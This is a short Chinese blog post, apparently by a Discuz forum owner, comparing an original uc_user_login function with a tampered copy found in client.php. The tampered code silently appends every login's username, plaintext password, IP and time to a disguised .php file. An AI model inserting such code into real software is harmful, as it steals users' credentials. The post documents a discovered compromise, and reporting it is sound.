zoukankan      html  css  js  c++  java
  • PHP DZ



    查了文件后,发现 client.php 被人修改过,时间也正是这一天。查了文件后,对比了下以前备份的文件。多了这样的代码

    原文件这一段正常的是这样的:

    function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
    $isuid = intval($isuid);
    $return = call_user_func(UC_API_FUNC, 'user', 'login', array('username'=>$username, 'password'=>$password, 'isuid'=>$isuid, 'checkques'=>$checkques, 'questionid'=>$questionid, 'answer'=>$answer));
    return UC_CONNECT == 'mysql' ? $return : uc_unserialize($return);
    }

    被人改过后是这样的:

    function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
    $ip=$_SERVER['REMOTE_ADDR'];
    $showtime=date("Y-m-d H:i:s");
    $record="<?exit();?>".$username." --------".$password." IP:".$ip." Time:".$showtime."\r\n";
    $handle=fopen('H:\yang\wap\cssdata.php','a+');
    $write=fwrite($handle,$record);
    $isuid = intval($isuid);
    $return = call_user_func(UC_API_FUNC, 'user', 'login', array('username'=>$username, 'password'=>$password, 'isuid'=>$isuid, 'checkques'=>$checkques, 'questionid'=>$questionid, 'answer'=>$answer));
    return UC_CONNECT == 'mysql' ? $return : uc_unserialize($return);
    }

    我不懂啥意思

    H:\yang\wap\cssdata.php 这个是我的一个独立网店的目录来的
  • 相关阅读:
    hdu 3342 Legal or Not 拓排序
    hdu 1596 find the safest road Dijkstra
    hdu 1874 畅通工程续 Dijkstra
    poj 2676 sudoku dfs
    poj 2251 BFS
    poj Prime Path BFS
    poj 3278 BFS
    poj 2387 Dijkstra 模板
    poj 3083 DFS 和BFS
    poj 1062 昂贵的聘礼 dijkstra
  • 原文地址:https://www.cnblogs.com/94YY/p/2080286.html
Copyright © 2011-2022 走看看